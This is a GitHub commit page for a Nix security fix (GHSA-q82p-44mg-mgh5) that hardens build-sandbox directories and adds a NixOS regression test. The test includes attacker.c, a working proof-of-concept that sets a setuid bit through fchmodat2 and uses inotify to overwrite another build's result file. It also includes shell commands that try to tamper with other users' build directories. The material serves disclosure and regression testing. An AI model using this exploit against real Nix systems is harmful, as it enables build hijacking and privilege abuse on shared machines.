Merge pull request from GHSA-q82p-44mg-mgh5

Fix sandbox escape 2.18
This commit is contained in:
tomberek 2024-06-26 18:49:22 -04:00 committed by GitHub
commit 1ee7a9b84f
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
8 changed files with 259 additions and 8 deletions

View File

@ -0,0 +1,8 @@
---
synopsis: Harden the user sandboxing
significance: significant
issues:
prs: <only provided once merged>
---
The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

View File

@ -642,6 +642,8 @@
tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak; tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
tests.user-sandboxing = runNixOSTestFor "x86_64-linux" ./tests/nixos/user-sandboxing;
# Make sure that nix-env still produces the exact same result # Make sure that nix-env still produces the exact same result
# on a particular version of Nixpkgs. # on a particular version of Nixpkgs.

View File

@ -485,7 +485,13 @@ void LocalDerivationGoal::startBuilder()
/* Create a temporary directory where the build will take /* Create a temporary directory where the build will take
place. */ place. */
tmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700); tmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700);
if (useChroot) {
/* If sandboxing is enabled, put the actual TMPDIR underneath
an inaccessible root-owned directory, to prevent outside
access. */
tmpDir = tmpDir + "/build";
createDir(tmpDir, 0700);
}
chownToBuilder(tmpDir); chownToBuilder(tmpDir);
for (auto & [outputName, status] : initialOutputs) { for (auto & [outputName, status] : initialOutputs) {
@ -651,17 +657,21 @@ void LocalDerivationGoal::startBuilder()
#if __linux__ #if __linux__
/* Create a temporary directory in which we set up the chroot /* Create a temporary directory in which we set up the chroot
environment using bind-mounts. We put it in the Nix store environment using bind-mounts. We put it in the Nix store
to ensure that we can create hard-links to non-directory so that the build outputs can be moved efficiently from the
inputs in the fake Nix store in the chroot (see below). */ chroot to their final location. */
chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot"; chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootRootDir); deletePath(chrootParentDir);
/* Clean up the chroot directory automatically. */ /* Clean up the chroot directory automatically. */
autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir); autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir); printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
if (mkdir(chrootParentDir.c_str(), 0700) == -1)
throw SysError("cannot create '%s'", chrootRootDir);
chrootRootDir = chrootParentDir + "/root";
// FIXME: make this 0700
if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1) if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
throw SysError("cannot create '%1%'", chrootRootDir); throw SysError("cannot create '%1%'", chrootRootDir);

View File

@ -64,6 +64,16 @@ struct LocalDerivationGoal : public DerivationGoal
*/ */
bool useChroot = false; bool useChroot = false;
/**
* The parent directory of `chrootRootDir`. It has permission 700
* and is owned by root to ensure other users cannot mess with
* `chrootRootDir`.
*/
Path chrootParentDir;
/**
* The root of the chroot environment.
*/
Path chrootRootDir; Path chrootRootDir;
/** /**

View File

@ -679,6 +679,11 @@ std::optional<Path> getSelfExe()
return cached; return cached;
} }
void createDir(const Path &path, mode_t mode)
{
if (mkdir(path.c_str(), mode) == -1)
throw SysError("creating directory '%1%'", path);
}
Paths createDirs(const Path & path) Paths createDirs(const Path & path)
{ {

View File

@ -253,6 +253,11 @@ inline Paths createDirs(PathView path)
return createDirs(Path(path)); return createDirs(Path(path));
} }
/**
* Create a single directory.
*/
void createDir(const Path & path, mode_t mode = 0755);
/** /**
* Create a symlink. * Create a symlink.
*/ */

View File

@ -0,0 +1,82 @@
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#define SYS_fchmodat2 452
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
}
int main(int argc, char **argv) {
if (argc <= 1) {
// stage 1: place the setuid-builder executable
// make the build directory world-accessible first
chmod(".", 0755);
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
perror("Setting the suid bit on attacker");
exit(-1);
}
} else {
// stage 2: corrupt the victim derivation while it's building
// prevent the kill
if (setresuid(-1, -1, getuid())) {
perror("setresuid");
exit(-1);
}
if (fork() == 0) {
// wait for the victim to build
int fd = inotify_init();
inotify_add_watch(fd, argv[1], IN_CREATE);
int dirfd = open(argv[1], O_DIRECTORY);
if (dirfd < 0) {
perror("opening the global build directory");
exit(-1);
}
char buf[4096];
fprintf(stderr, "Entering the inotify loop\n");
for (;;) {
ssize_t len = read(fd, buf, sizeof(buf));
struct inotify_event *ev;
for (char *pe = buf; pe < buf + len;
pe += sizeof(struct inotify_event) + ev->len) {
ev = (struct inotify_event *)pe;
fprintf(stderr, "folder %s created\n", ev->name);
// wait a bit to prevent racing against the creation
sleep(1);
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
if (builddir < 0) {
perror("opening the build directory");
continue;
}
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
if (resultfile < 0) {
perror("opening the hijacked file");
continue;
}
int writeres = write(resultfile, "bad\n", 4);
if (writeres < 0) {
perror("writing to the hijacked file");
continue;
}
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
return 0;
}
}
}
exit(0);
}
}

View File

@ -0,0 +1,129 @@
{ config, ... }:
let
pkgs = config.nodes.machine.nixpkgs.pkgs;
attacker = pkgs.runCommandWith {
name = "attacker";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./attacker.c}
'';
try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
chmod 700 .
# Shouldn't be able to open the root build directory
(! chmod 700 ..)
touch foo
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
touch $out
set +x
'';
create-hello-world = pkgs.writeScript "create-hello-world" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
echo "hello, world" > result
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
cp result $out
set +x
'';
in
{
name = "sandbox-setuid-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
nix.settings.substituters = lib.mkForce [ ];
nix.nrBuildUsers = 1;
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
boot.kernelPackages = pkgs.linuxPackages_latest;
users.users.alice = {
isNormalUser = true;
};
};
testScript = { nodes }: ''
start_all()
with subtest("A builder can't give access to its build directory"):
# Make sure that a builder can't change the permissions on its build
# directory to the point of opening it up to external users
# A derivation whose builder tries to make its build directory as open
# as possible and wait for someone to hijack it
machine.succeed(r"""
nix-build -v -E '
builtins.derivation {
name = "open-build-dir";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${try-open-build-dir}") ];
}' >&2 &
""".strip())
# Wait for the build to be ready
# This is OK because it runs as root, so we can access everything
machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
# But Alice shouldn't be able to access the build directory
machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
# Tell the user to finish the build
machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "innocent";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${create-hello-world}") ];
}' >&2 &
""".strip())
machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
# The build ran as `nixbld1` (which is the only build user on the
# machine), but a process running as `nixbld1` outside the sandbox
# shouldn't be able to touch the build directory regardless
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
# Finish the build
machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
# Check that the build was not affected
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}